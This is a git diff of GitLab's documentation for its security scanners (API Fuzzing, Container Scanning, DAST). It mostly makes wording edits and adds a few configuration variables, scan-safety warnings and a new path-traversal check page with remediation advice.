provide the `FUZZAPI_EXCLUDE_PATHS` configuration variable with the path portion of our operation URL `/api/large_response_json`. Our configuration disables the main `apifuzzer_fuzz` job and creates two new jobs `apifuzzer_main` and `apifuzzer_branch`. The `apifuzzer_branch` is set up to exclude the long operation and only run on non-default branches (e.g. feature branches). The `apifuzzer_main` branch is set up to only execute on the default branch (`main` in this example). The `apifuzzer_branch` jobs run faster, allowing for quick development cycles, while the `apifuzzer_main` job which only runs on default branch builds, takes longer to run. +In this example, we have an operation that returns a large amount of data. The operation is `GET http://target:7777/api/large_response_json`. To exclude it we provide the `FUZZAPI_EXCLUDE_PATHS` configuration variable with the path portion of our operation URL `/api/large_response_json`. Our configuration disables the main `apifuzzer_fuzz` job and creates two new jobs `apifuzzer_main` and `apifuzzer_branch`. The `apifuzzer_branch` is set up to exclude the long operation and only run on non-default branches (for example, feature branches). The `apifuzzer_main` branch is set up to only execute on the default branch (`main` in this example). The `apifuzzer_branch` jobs run faster, allowing for quick development cycles, while the `apifuzzer_main` job which only runs on default branch builds, takes longer to run. To verify the operation is excluded, run the API Fuzzing job and review the job console output. It includes a list of included and excluded operations at the end of the test. @@ -2538,14 +2538,14 @@ The API Fuzzing engine outputs an error message when it cannot establish a conne **Solution** -- Remove the `FUZZAPI_API` variable from the `.gitlab-ci.yml` file. The value will be inherited from the API Fuzzing CI/CD template. We recommend this method instead of manually setting a value. +- Remove the `FUZZAPI_API` variable from the `.gitlab-ci.yml` file. The value is inherited from the API Fuzzing CI/CD template. We recommend this method instead of manually setting a value. - If removing the variable is not possible, check to see if this value has changed in the latest version of the [API Fuzzing CI/CD template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml). If so, update the value in the `.gitlab-ci.yml` file. ### `Application cannot determine the base URL for the target API` The API Fuzzing analyzer outputs an error message when it cannot determine the target API after inspecting the OpenAPI document. This error message is shown when the target API has not been set in the `.gitlab-ci.yml`file, it is not available in the `environment_url.txt` file, and it could not be computed using the OpenAPI document. -There is an order of precedence in which the API Fuzzing analyzer tries to get the target API when checking the different sources. First, it will try to use the `FUZZAPI_TARGET_URL`. If the environment variable has not been set, then the API Fuzzing analyzer will attempt to use the `environment_url.txt` file. If there is no file `environment_url.txt`, the API Fuzzing analyzer will then use the OpenAPI document contents and the URL provided in `FUZZAPI_OPENAPI` (if a URL is provided) to try to compute the target API. +There is an order of precedence in which the API Fuzzing analyzer tries to get the target API when checking the different sources. First, it tries to use the `FUZZAPI_TARGET_URL`. If the environment variable has not been set, then the API Fuzzing analyzer attempts to use the `environment_url.txt` file. If there is no file `environment_url.txt`, the API Fuzzing analyzer now uses the OpenAPI document contents and the URL provided in `FUZZAPI_OPENAPI` (if a URL is provided) to try to compute the target API. The best-suited solution depends on whether or not your target API changes for each deployment: @@ -2642,7 +2642,7 @@ variables: ### `No operation in the OpenAPI document is consuming any supported media type` -API Fuzzing uses the specified media types in the OpenAPI document to generate requests. If no request can be created due to the lack of supported media types, then an error will be thrown. +API Fuzzing uses the specified media types in the OpenAPI document to generate requests. If no request can be created due to the lack of supported media types, then an error is thrown. **Error message** diff --git a/doc/user/application_security/container_scanning/index.md b/doc/user/application_security/container_scanning/index.md index fc06b50b03d..0a586a14cc4 100644 --- a/doc/user/application_security/container_scanning/index.md +++ b/doc/user/application_security/container_scanning/index.md @@ -234,7 +234,7 @@ When you enable this feature, you may see [duplicate findings](../terminology/in in the [Vulnerability Report](../vulnerability_report/index.md) if [Dependency Scanning](../dependency_scanning/index.md) is enabled for your project. This happens because GitLab can't automatically deduplicate findings -across different types of scanning tools. Please reference [this comparison](../dependency_scanning/index.md#dependency-scanning-compared-to-container-scanning) +across different types of scanning tools. Reference [this comparison](../dependency_scanning/index.md#dependency-scanning-compared-to-container-scanning) between GitLab Dependency Scanning and Container Scanning for more details on which types of dependencies are likely to be duplicated. #### Available CI/CD variables @@ -268,6 +268,7 @@ including a large number of false positives. | `CS_REGISTRY_PASSWORD` | `$CI_REGISTRY_PASSWORD` | Password for accessing a Docker registry requiring authentication. The default is only set if `$CS_IMAGE` resides at [`$CI_REGISTRY`](../../../ci/variables/predefined_variables.md). Not supported when [FIPS mode](../../../development/fips_compliance.md#enable-fips-mode) is enabled. | All | | `CS_REGISTRY_USER` | `$CI_REGISTRY_USER` | Username for accessing a Docker registry requiring authentication. The default is only set if `$CS_IMAGE` resides at [`$CI_REGISTRY`](../../../ci/variables/predefined_variables.md). Not supported when [FIPS mode](../../../development/fips_compliance.md#enable-fips-mode) is enabled. | All | | `CS_DOCKERFILE_PATH` | `Dockerfile` | The path to the `Dockerfile` to use for generating remediations. By default, the scanner looks for a file named `Dockerfile` in the root directory of the project. You should configure this variable only if your `Dockerfile` is in a non-standard location, such as a subdirectory. See [Solutions for vulnerabilities](#solutions-for-vulnerabilities-auto-remediation) for more details. | All | +| `CS_QUIET` | `""` | If set, this variable disables output of the [vulnerabilities table](#container-scanning-job-log-format) in the job log. [Introduced](https://gitlab.com/gitlab-org/security-products/analyzers/container-scanning/-/merge_requests/50) in GitLab 15.1. | All | | `SECURE_LOG_LEVEL` | `info` | Set the minimum logging level. Messages of this logging level or higher are output. From highest to lowest severity, the logging levels are: `fatal`, `error`, `warn`, `info`, `debug`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1. | All | ### Supported distributions @@ -532,7 +533,7 @@ To use container scanning in an offline environment, you need: | --- | --- | | [Container-Scanning](https://gitlab.com/gitlab-org/security-products/analyzers/container-scanning) | [Container-Scanning container registry](https://gitlab.com/security-products/container-scanning/container_registry/) | -Note that GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy), +GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy), meaning the runner tries to pull Docker images from the GitLab container registry even if a local copy is available. The GitLab Runner [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy) in an offline environment if you prefer using only locally available Docker images. However, we @@ -560,7 +561,7 @@ registry.gitlab.com/security-products/container-scanning/trivy:5 ``` The process for importing Docker images into a local offline Docker registry depends on -**your network security policy**. Please consult your IT staff to find an accepted and approved +**your network security policy**. Consult your IT staff to find an accepted and approved process by which you can import or temporarily access external resources. These scanners are [periodically updated](../index.md#vulnerability-scanner-maintenance), and you may be able to make occasional updates on your own. @@ -580,7 +581,7 @@ For details on saving and transporting Docker images as a file, see the Docker d - template: Jobs/Container-Scanning.gitlab-ci.yml container_scanning: - image: $CI_REGISTRY/namespace/gitlab-container-scanning + image: $CI_REGISTRY/namespace/container-scanning ``` 1. If your local Docker container registry is running securely over `HTTPS`, but you're using a @@ -597,7 +598,7 @@ following `.gitlab-ci.yml` example as a template. ```yaml variables: SOURCE_IMAGE: registry.gitlab.com/security-products/container-scanning:5 - TARGET_IMAGE: $CI_REGISTRY/namespace/gitlab-container-scanning + TARGET_IMAGE: $CI_REGISTRY/namespace/container-scanning image: docker:stable diff --git a/doc/user/application_security/coverage_fuzzing/index.md b/doc/user/application_security/coverage_fuzzing/index.md index 71c842ca277..5d2593a1bed 100644 --- a/doc/user/application_security/coverage_fuzzing/index.md +++ b/doc/user/application_security/coverage_fuzzing/index.md @@ -102,7 +102,7 @@ targets. Each fuzzing target **must** have a separate job. For example, the [go-fuzzing-example project](https://gitlab.com/gitlab-org/security-products/demos/go-fuzzing-example) contains one job that extends `.fuzz_base` for its single fuzzing target. -Note that the hidden job `.fuzz_base` uses several YAML keys that you must not override in your own +The hidden job `.fuzz_base` uses several YAML keys that you must not override in your own job. If you include these keys in your own job, you must copy their original content: - `before_script` diff --git a/doc/user/application_security/dast/authentication.md b/doc/user/application_security/dast/authentication.md index d5ba92f399c..77732ab532c 100644 --- a/doc/user/application_security/dast/authentication.md +++ b/doc/user/application_security/dast/authentication.md @@ -5,13 +5,17 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, howto --- -# Authentication (DAST) **(ULTIMATE)** +# DAST authentication **(ULTIMATE)** WARNING: -**Never** run an authenticated scan against a production server. -Authenticated scans may perform *any* function that the authenticated user can, +**DO NOT** use credentials that are valid for production systems, production servers, or any that +contain production data. + +WARNING: +**DO NOT** run an authenticated scan against a production server. +Authenticated scans may perform **any** function that the authenticated user can, including modifying or deleting data, submitting forms, and following links. -Only run an authenticated scan against a test server. +Only run an authenticated scan against non-production systems or servers. Authentication logs a user in before a DAST scan so that the analyzer can test as much of the application as possible when searching for vulnerabilities. @@ -44,8 +48,8 @@ To run a DAST authenticated scan: - You are using either the [DAST proxy-based analyzer](proxy-based.md) or the [DAST browser-based analyzer](browser_based.md). - You know the URL of the login form of your application. Alternatively, you know how to navigate to the login form from the authentication URL (see [clicking to navigate to the login form](#clicking-to-navigate-to-the-login-form)). - You have the username and password of the user you would like to authenticate as during the scan. -- You know the [selectors](#finding-an-elements-selector) of the username and password HTML fields that DAST will use to input the respective values. -- You know the element's [selector](#finding-an-elements-selector) that will submit the login form when selected. +- You know the [selectors](#finding-an-elements-selector) of the username and password HTML fields that DAST uses to input the respective values. +- You know the element's [selector](#finding-an-elements-selector) that submits the login form when selected. - You have thought about how you can [verify](#verifying-authentication-is-successful) whether or not authentication was successful. - You have checked the [known limitations](#known-limitations) to ensure DAST can authenticate to your application. @@ -140,7 +144,7 @@ See [Custom CI/CI variables](../../../ci/variables/index.md#for-a-project) for m ### Configuration for Single Sign-On (SSO) -If a user can log into an application, then in most cases, DAST will also be able to log in. +If a user can log into an application, then in most cases, DAST is also able to log in. This is the case even when an application uses Single Sign-on. Applications using SSO solutions should configure DAST authentication using the [single-step](#configuration-for-a-single-step-login-form) or [multi-step](#configuration-for-a-multi-step-login-form) login form configuration guides. @@ -168,8 +172,8 @@ dast: ### Excluding logout URLs -If DAST crawls the logout URL while running an authenticated scan, the user will be logged out, resulting in the remainder of the scan being unauthenticated. -It is therefore recommended to exclude logout URLs using the CI/CD variable `DAST_EXCLUDE_URLS`. DAST will not access any excluded URLs, ensuring the user remains logged in. +If DAST crawls the logout URL while running an authenticated scan, the user is logged out, resulting in the remainder of the scan being unauthenticated. +It is therefore recommended to exclude logout URLs using the CI/CD variable `DAST_EXCLUDE_URLS`. DAST isn't accessing any excluded URLs, ensuring the user remains logged in. Provided URLs can be either absolute URLs, or regular expressions of URL paths relative to the base path of the `DAST_WEBSITE`. For example: @@ -193,7 +197,7 @@ Selectors have the format `type`:`search string`. DAST searches for the selector | `css` | `css:.password-field` | Searches for a HTML element having the supplied CSS selector. Selectors should be as specific as possible for performance reasons. | | `id` | `id:element` | Searches for an HTML element with the provided element ID. | | `name` | `name:element` | Searches for an HTML element with the provided element name. | -| `xpath` | `xpath://input[@id="my-button"]/a` | Searches for a HTML element with the provided XPath. Note that XPath searches are expected to be less performant than other searches. | +| `xpath` | `xpath://input[@id="my-button"]/a` | Searches for a HTML element with the provided XPath. XPath searches are expected to be less performant than other searches. | | None provided | `a.click-me` | Defaults to searching using a CSS selector. **{warning}** **[Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/383348)** in GitLab 15.8. Replaced by explicitly declaring the selector type. | #### Find selectors with Google Chrome @@ -234,7 +238,7 @@ When using selectors to locate specific fields we recommend you avoid searching ## Verifying authentication is successful Once DAST has submitted the login form, a verification process takes place -to determine if authentication succeeded. The scan will halt with an error if authentication is unsuccessful. +to determine if authentication succeeded. The scan halts with an error if authentication is unsuccessful. Following the submission of the login form, authentication is determined to be unsuccessful when: @@ -247,13 +251,13 @@ Following the submission of the login form, authentication is determined to be u Verification checks run checks on the state of the browser once authentication is complete to determine further if authentication succeeded. -DAST will test for the absence of a login form if no verification checks are configured. +DAST tests for the absence of a login form if no verification checks are configured. #### Verify based on the URL Define `DAST_AUTH_VERIFICATION_URL` as the URL displayed in the browser tab once the login form is successfully submitted. -DAST will compare the verification URL to the URL in the browser after authentication. +DAST compares the verification URL to the URL in the browser after authentication. If they are not the same, authentication is unsuccessful. For example: @@ -270,7 +274,7 @@ dast: #### Verify based on presence of an element -Define `DAST_AUTH_VERIFICATION_SELECTOR` as a [selector](#finding-an-elements-selector) that will find one or many elements on the page +Define `DAST_AUTH_VERIFICATION_SELECTOR` as a [selector](#finding-an-elements-selector) that finds one or many elements on the page displayed once the login form is successfully submitted. If no element is found, authentication is unsuccessful. Searching for the selector on the page displayed when login fails should return no elements. @@ -333,8 +337,8 @@ dast: ## Known limitations -- DAST cannot bypass a CAPTCHA if the authentication flow includes one. Please turn these off in the testing environment for the application being scanned. -- DAST cannot handle multi-factor authentication like one-time passwords (OTP) by using SMS, biometrics, or authenticator apps. Please turn these off in the testing environment for the application being scanned. +- DAST cannot bypass a CAPTCHA if the authentication flow includes one. Turn these off in the testing environment for the application being scanned. +- DAST cannot handle multi-factor authentication like one-time passwords (OTP) by using SMS, biometrics, or authenticator apps. Turn these off in the testing environment for the application being scanned. - DAST cannot authenticate to applications that do not set an [authentication token](#authentication-tokens) during login. - DAST cannot authenticate to applications that require more than two inputs to be filled out. Two inputs must be supplied, username and password. diff --git a/doc/user/application_security/dast/browser_based.md b/doc/user/application_security/dast/browser_based.md index 96480bcb6a5..bdc08988cc0 100644 --- a/doc/user/application_security/dast/browser_based.md +++ b/doc/user/application_security/dast/browser_based.md @@ -227,13 +227,13 @@ In such cases, we recommend you disable Anti-CSRF tokens when running a full sca ## Managing scan time -It is expected that running the browser-based crawler results in better coverage for many web applications, when compared to the normal GitLab DAST solution. +It is expected that running the browser-based crawler results in better coverage for many web applications, when compared to the standard GitLab DAST solution. This can come at a cost of increased scan time. You can manage the trade-off between coverage and scan time with the following measures: - Limit the number of actions executed by the browser with the [variable](#available-cicd-variables) `DAST_BROWSER_MAX_ACTIONS`. The default is `10,000`. -- Limit the page depth that the browser-based crawler will check coverage on with the [variable](#available-cicd-variables) `DAST_BROWSER_MAX_DEPTH`. The crawler uses a breadth-first search strategy, so pages with smaller depth are crawled first. The default is `10`. +- Limit the page depth that the browser-based crawler checks coverage on with the [variable](#available-cicd-variables) `DAST_BROWSER_MAX_DEPTH`. The crawler uses a breadth-first search strategy, so pages with smaller depth are crawled first. The default is `10`. - Vertically scale the runner and use a higher number of browsers with [variable](#available-cicd-variables) `DAST_BROWSER_NUMBER_OF_BROWSERS`. The default is `3`. ## Timeouts diff --git a/doc/user/application_security/dast/browser_based_troubleshooting.md b/doc/user/application_security/dast/browser_based_troubleshooting.md index 78f2723ee38..6cc80bcfbc3 100644 --- a/doc/user/application_security/dast/browser_based_troubleshooting.md +++ b/doc/user/application_security/dast/browser_based_troubleshooting.md @@ -53,7 +53,7 @@ Knowing the outcome you expect, try to replicate it manually using a browser on DAST cannot scan correctly when: -- There is a CAPTCHA. Please turn these off in the testing environment for the application being scanned. +- There is a CAPTCHA. Turn these off in the testing environment for the application being scanned. - It does not have access to the target application. Ensure the GitLab Runner can access the application using the URLs used in the DAST configuration. ### How does your application work? diff --git a/doc/user/application_security/dast/checks/16.7.md b/doc/user/application_security/dast/checks/16.7.md index cef13c9663f..d407234d2c2 100644 --- a/doc/user/application_security/dast/checks/16.7.md +++ b/doc/user/application_security/dast/checks/16.7.md @@ -25,8 +25,7 @@ Only three directives are applicable for the `Strict-Transport-Security` header. Note that invalid directives, or the `Strict-Transport-Security` header appearing more than once (if the values are different) is considered invalid. -Prior to adding to this security configuration to your website, it is recommended you review the hstspreload.org -[Deployment Recommendations](https://hstspreload.org/#deployment-recommendations). +Prior to adding to this security configuration to your website, it is recommended you review the hstspreload.org [Deployment Recommendations](https://hstspreload.org/#deployment-recommendations). ## Details diff --git a/doc/user/application_security/dast/checks/16.8.md b/doc/user/application_security/dast/checks/16.8.md index 07bd2a6842f..b8faef75de7 100644 --- a/doc/user/application_security/dast/checks/16.8.md +++ b/doc/user/application_security/dast/checks/16.8.md @@ -8,12 +8,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Description -A `Content-Security-Policy` (CSP) was identified on the target site. CSP can aid in hardening -a website against various client side attacks such as Cross-Site Scripting (XSS). +A missing or invalid `Content-Security-Policy` (CSP) was identified on the target site. CSP can aid in +hardening a website against various client side attacks such as Cross-Site Scripting (XSS). ## Remediation -Follow the recommendations to determine if any actions are necessary to harden this `Content-Security-Policy`. +If the target site is missing a CSP, please investigate the relevant URLs for enabling CSP. Otherwise, +follow the recommendations to determine if any actions are necessary. ## Details diff --git a/doc/user/application_security/dast/checks/22.1.md b/doc/user/application_security/dast/checks/22.1.md new file mode 100644 index 00000000000..60a73b4248b --- /dev/null +++ b/doc/user/application_security/dast/checks/22.1.md @@ -0,0 +1,38 @@ +--- +stage: Secure +group: Dynamic Analysis +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Improper limitation of a pathname to a restricted directory (Path traversal) + +## Description + +The vulnerability can be exploited by inserting a payload into a +parameter on the URL endpoint which allows for reading arbitrary files. +This could be used to read sensitive files, access other users data, or aid in +exploitation to gain further system access. + +## Remediation + +User input should never be used in constructing paths or files for interacting +with the filesystem. This includes filenames supplied by user uploads or downloads. + +If possible, consider hashing the filenames and reference the hashed filenames in +a database or datastore instead of directly attempting to access filenames provided +by users or other system components. + +In the rare cases that the application must work with filenames, use the language +provided functionality to extract only the filename part of the supplied value. +Never attempt to use the path or directory information that comes from user input. + +## Details + +| ID | Aggregated | CWE | Type | Risk | +|:---|:--------|:--------|:--------|:--------| +| 22.1 | false | 22 | Active | high | + +## Links + +- [OWASP](https://owasp.org/www-community/attacks/Path_Traversal) +- [CWE](https://cwe.mitre.org/data/definitions/22.html) diff --git a/doc/user/application_security/dast/checks/index.md b/doc/user/application_security/dast/checks/index.md index 56406b24586..bafe426ca43 100644 --- a/doc/user/application_security/dast/checks/index.md +++ b/doc/user/application_security/dast/checks/index.md @@ -8,6 +8,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w The [DAST browser-based crawler](../browser_based.md) provides a number of vulnerability checks that are used to scan for vulnerabilities in the site under test. +## Passive Checks + | ID | Check | Severity | Type | |:---|:------|:---------|:-----| | [1004.1](1004.1.md) | Sensitive cookie without HttpOnly attribute | Low | Passive | @@ -126,7 +128,7 @@ The [DAST browser-based crawler](../browser_based.md) provides a number of vulne | [798.94](798.94.md) | Exposure of confidential secret or token Private Key | High | Passive | | [798.95](798.95.md) | Exposure of confidential secret or token Pulumi API token | High | Passive | | [798.96](798.96.md) | Exposure of confidential secret or token PyPI upload token | High | Passive | -| [798.97](798.97.md) | Exposure of confidential secret or token RubyGem API token | High | Passive | +| [798.97](798.97.md) | Exposure of confidential secret or token RubyGems API token | High | Passive | | [798.98](798.98.md) | Exposure of confidential secret or token RapidAPI Access Token | High | Passive | | [798.99](798.99.md) | Exposure of confidential secret or token Sendbird Access ID | High | Passive | | [798.100](798.100.md) | Exposure of confidential secret or token Sendbird Access Token | High | Passive | @@ -160,3 +162,9 @@ The [DAST browser-based crawler](../browser_based.md) provides a number of vulne | [798.128](798.128.md) | Exposure of confidential secret or token Zendesk Secret Key | High | Passive | | [829.1](829.1.md) | Inclusion of Functionality from Untrusted Control Sphere | Low | Passive | | [829.2](829.2.md) | Invalid Sub-Resource Integrity values detected | Medium | Passive | + +## Active Checks + +| ID | Check | Severity | Type | +|:---|:------|:---------|:-----| +| [22.1](22.1.md) | Improper limitation of a pathname to a restricted directory (Path traversal) | High | Active | diff --git a/doc/user/application_security/dast/dast_troubleshooting.md b/doc/user/application_security/dast/dast_troubleshooting.md index 0dcf203a3a9..da382920604 100644 --- a/doc/user/application_security/dast/dast_troubleshooting.md +++ b/doc/user/application_security/dast/dast_troubleshooting.md @@ -77,7 +77,7 @@ For information on this, see the [general Application Security troubleshooting s To avoid overwriting stages from other CI files, newer versions of the DAST CI template do not define stages. If you recently started using `DAST.latest.gitlab-ci.yml` or upgraded to a new major release of GitLab and began receiving this error, you must define a `dast` stage with your other -stages. Note that you must have a running application for DAST to scan. If your application is set +stages. You must have a running application for DAST to scan. If your application is set up in your pipeline, it must be deployed in a stage _before_ the `dast` stage: ```yaml diff --git a/doc/user/application_security/dast/index.md b/doc/user/application_security/dast/index.md index 283e48ec499..3cb8967afd2 100644 --- a/doc/user/application_security/dast/index.md +++ b/doc/user/application_security/dast/index.md @@ -57,7 +57,7 @@ which GitLab uses to determine discovered vulnerabilities based on differences b #### Recommendations -- Take care if your pipeline is configured to deploy to the same web server in each run. Running a DAST scan while a server is being updated will lead to inaccurate and non-deterministic results. +- Take care if your pipeline is configured to deploy to the same web server in each run. Running a DAST scan while a server is being updated leads to inaccurate and non-deterministic results. - Configure runners to use the [always pull policy](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy) to run the latest versions of the analyzers. - By default, DAST downloads all artifacts defined by previous jobs in the pipeline. If your DAST job does not rely on `environment_url.txt` to define the URL under test or any other files created @@ -71,7 +71,7 @@ which GitLab uses to determine discovered vulnerabilities based on differences b #### Analyzer configuration -Please see [DAST proxy-based analyzer](proxy-based.md), [DAST browser-based analyzer](browser_based.md) or [DAST API analyzer](../dast_api/index.md) for +See [DAST proxy-based analyzer](proxy-based.md), [DAST browser-based analyzer](browser_based.md) or [DAST API analyzer](../dast_api/index.md) for analyzer-specific configuration instructions. ### View scan results @@ -83,8 +83,8 @@ and the [Vulnerability report](../index.md#view-security-scan-information-in-the 1. To see all vulnerabilities detected, either: - From your project, select **Security & Compliance**, then **Vulnerability report**. - - From your pipeline, click on the **Security** tab. - - From the merge request, go to the **Security scanning** widget and click **Full report** tab. + - From your pipeline, select the **Security** tab. + - From the merge request, go to the **Security scanning** widget and select **Full report** tab. 1. Select a DAST vulnerability's description. The following fields are examples of what a DAST analyzer may produce to aid investigation and rectification of the underlying cause. Each analyzer may output different fields. @@ -142,7 +142,7 @@ After your Docker build job completes and your image is added to your container By using service definitions in your `.gitlab-ci.yml`, you can scan services with the DAST analyzer. -When adding a `services` section to the job, the `alias` is used to define the hostname that can be used to access the service. In the following example, the `alias: yourapp` portion of the `dast` job definition means that the URL to the deployed application will use `yourapp` as the hostname (`https://yourapp/`). +When adding a `services` section to the job, the `alias` is used to define the hostname that can be used to access the service. In the following example, the `alias: yourapp` portion of the `dast` job definition means that the URL to the deployed application uses `yourapp` as the hostname (`https://yourapp/`). ```yaml stages: diff --git a/doc/user/application_security/dast/proxy-based.md b/doc/user/application_security/dast/proxy-based.md index fc78018bdad..f70afac4c26 100644 --- a/doc/user/application_security/dast/proxy-based.md +++ b/doc/user/application_security/dast/proxy-based.md @@ -9,7 +9,7 @@ type: reference, howto The DAST proxy-based analyzer can be added to your [GitLab CI/CD](../../../ci/index.md) pipeline. This helps you discover vulnerabilities in web applications that do not use JavaScript heavily. For applications that do, -please see the [DAST browser-based analyzer](browser_based.md). +see the [DAST browser-based analyzer](browser_based.md). WARNING: Do not run DAST scans against a production server. Not only can it perform *any* function that @@ -231,7 +231,7 @@ variables: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in GitLab 13.4. To specify the paths to scan in a CI/CD variable, add a comma-separated list of the paths to the `DAST_PATHS` -variable. Note that you can only scan paths of a single host. +variable. You can only scan paths of a single host. ```yaml include: @@ -247,7 +247,7 @@ When using `DAST_PATHS` and `DAST_PATHS_FILE`, note the following: - `DAST_WEBSITE` must be defined when using either `DAST_PATHS_FILE` or `DAST_PATHS`. The paths listed in either use `DAST_WEBSITE` to build the URLs to scan - Spidering is disabled when `DAST_PATHS` or `DAST_PATHS_FILE` are defined - `DAST_PATHS_FILE` and `DAST_PATHS` cannot be used together -- The `DAST_PATHS` variable has a limit of about 130kb. If you have a list or paths +- The `DAST_PATHS` variable has a limit of about 130 kb. If you have a list or paths greater than this, use `DAST_PATHS_FILE`. #### Full Scan @@ -360,13 +360,14 @@ including a large number of false positives. |:------------------------------------------------|:--------------|:------------------------------| | `DAST_ADVERTISE_SCAN` | boolean | Set to `true` to add a `Via` header to every request sent, advertising that the request was sent as part of a GitLab DAST scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/334947) in GitLab 14.1. | | `DAST_AGGREGATE_VULNERABILITIES` | boolean | Vulnerability aggregation is set to `true` by default. To disable this feature and see each vulnerability individually set to `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/254043) in GitLab 14.0. | +| `DAST_ALLOWED_HOSTS` | Comma-separated list of strings | Hostnames included in this variable are considered in scope when crawled. By default the `DAST_WEBSITE` hostname is included in the allowed hosts list. Headers set using `DAST_REQUEST_HEADERS` are added to every request made to these hostnames. Example, `site.com,another.com`. | | `DAST_API_HOST_OVERRIDE` <sup>1</sup> | string | **{warning}** **[Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/383467)** in GitLab 15.7. Replaced by [DAST API scan](../dast_api/index.md#available-cicd-variables). Used to override domains defined in API specification files. Only supported when importing the API specification from a URL. Example: `example.com:8080`. | | `DAST_API_SPECIFICATION` <sup>1</sup> | URL or string | **{warning}** **[Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/383467)** in GitLab 15.7. Replaced by [DAST API scan](../dast_api/index.md#available-cicd-variables). The API specification to import. The specification can be hosted at a URL, or the name of a file present in the `/zap/wrk` directory. The variable `DAST_WEBSITE` must be specified if this is omitted. | | `DAST_AUTH_EXCLUDE_URLS` | URLs | **{warning}** **[Removed](https://gitlab.com/gitlab-org/gitlab/-/issues/289959)** in GitLab 14.0. Replaced by `DAST_EXCLUDE_URLS`. The URLs to skip during the authenticated scan; comma-separated. Regular expression syntax can be used to match multiple URLs. For example, `.*` matches an arbitrary character sequence. | | `DAST_AUTO_UPDATE_ADDONS` | boolean | ZAP add-ons are pinned to specific versions in the DAST Docker image. Set to `true` to download the latest versions when the scan starts. Default: `false`. | | `DAST_DEBUG` <sup>1</sup> | boolean | Enable debug message output. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | | `DAST_EXCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to exclude them from running during the scan. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://www.zaproxy.org/docs/alerts/). For example, `HTTP Parameter Override` has a rule ID of `10026`. Cannot be used when `DAST_ONLY_INCLUDE_RULES` is set. **Note:** In earlier versions of GitLab the excluded rules were executed but vulnerabilities they generated were suppressed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118641) in GitLab 12.10. | -| `DAST_EXCLUDE_URLS` <sup>1</sup> | URLs | The URLs to skip during the authenticated scan; comma-separated. Regular expression syntax can be used to match multiple URLs. For example, `.*` matches an arbitrary character sequence. Example, `http://example.com/sign-out`. | +| `DAST_EXCLUDE_URLS` <sup>1</sup> | URLs | The URLs to skip during the authenticated scan; comma-separated. Regular expression syntax can be used to match multiple URLs. For example, `.*` matches an arbitrary character sequence. Example, `http://example.com/sign-out`. | | `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` | boolean | **{warning}** **[Removed](https://gitlab.com/gitlab-org/gitlab/-/issues/293595)** in GitLab 14.0. Set to `true` to require domain validation when running DAST full scans. Default: `false` | | `DAST_FULL_SCAN_ENABLED` <sup>1</sup> | boolean | Set to `true` to run a [ZAP Full Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Full-Scan) instead of a [ZAP Baseline Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Baseline-Scan). Default: `false` | | `DAST_HTML_REPORT` | string | **{warning}** **[Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/384340)** in GitLab 15.7. The filename of the HTML report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | @@ -427,7 +428,7 @@ dast: The ZAProxy server contains many [useful configurable values](https://gitlab.com/gitlab-org/gitlab/-/issues/36437#note_245801885). Many key/values for `-config` remain undocumented, but there is an untested list of [possible keys](https://gitlab.com/gitlab-org/gitlab/-/issues/36437#note_244981023). -Note that these options are not supported by DAST, and may break the DAST scan +These options are not supported by DAST, and may break the DAST scan when used. An example of how to rewrite the Authorization header value with `TOKEN` follows: ```yaml diff --git a/doc/user/application_security/dast/run_dast_offline.md b/doc/user/application_security/dast/run_dast_offline.md index 7cb4eff8e68..a75e5832b7c 100644 --- a/doc/user/application_security/dast/run_dast_offline.md +++ b/doc/user/application_security/dast/run_dast_offline.md @@ -20,7 +20,7 @@ To use DAST in an offline environment, you need: [container image](https://gitlab.com/security-products/dast), found in the [DAST container registry](https://gitlab.com/security-products/dast/container_registry). -Note that GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy), +GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy), meaning the runner tries to pull Docker images from the GitLab container registry even if a local copy is available. The GitLab Runner [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy) in an offline environment if you prefer using only locally available Docker images. However, we @@ -34,7 +34,7 @@ For DAST, import the following default DAST analyzer image from `registry.gitlab - `registry.gitlab.com/security-products/dast:latest` The process for importing Docker images into a local offline Docker registry depends on -**your network security policy**. Please consult your IT staff to find an accepted and approved +**your network security policy**. Consult your IT staff to find an accepted and approved process by which external resources can be imported or temporarily accessed. These scanners are [periodically updated](../index.md#vulnerability-scanner-maintenance) with new definitions, and you may be able to make occasional updates on your own. diff --git a/doc/user/application_security/dast_api/index.md b/doc/user/application_security/dast_api/index.md index 4c324033140..0cdbb879cfc 100644 --- a/doc/user/application_security/dast_api/index.md +++ b/doc/user/application_security/dast_api/index.md @@ -5,13 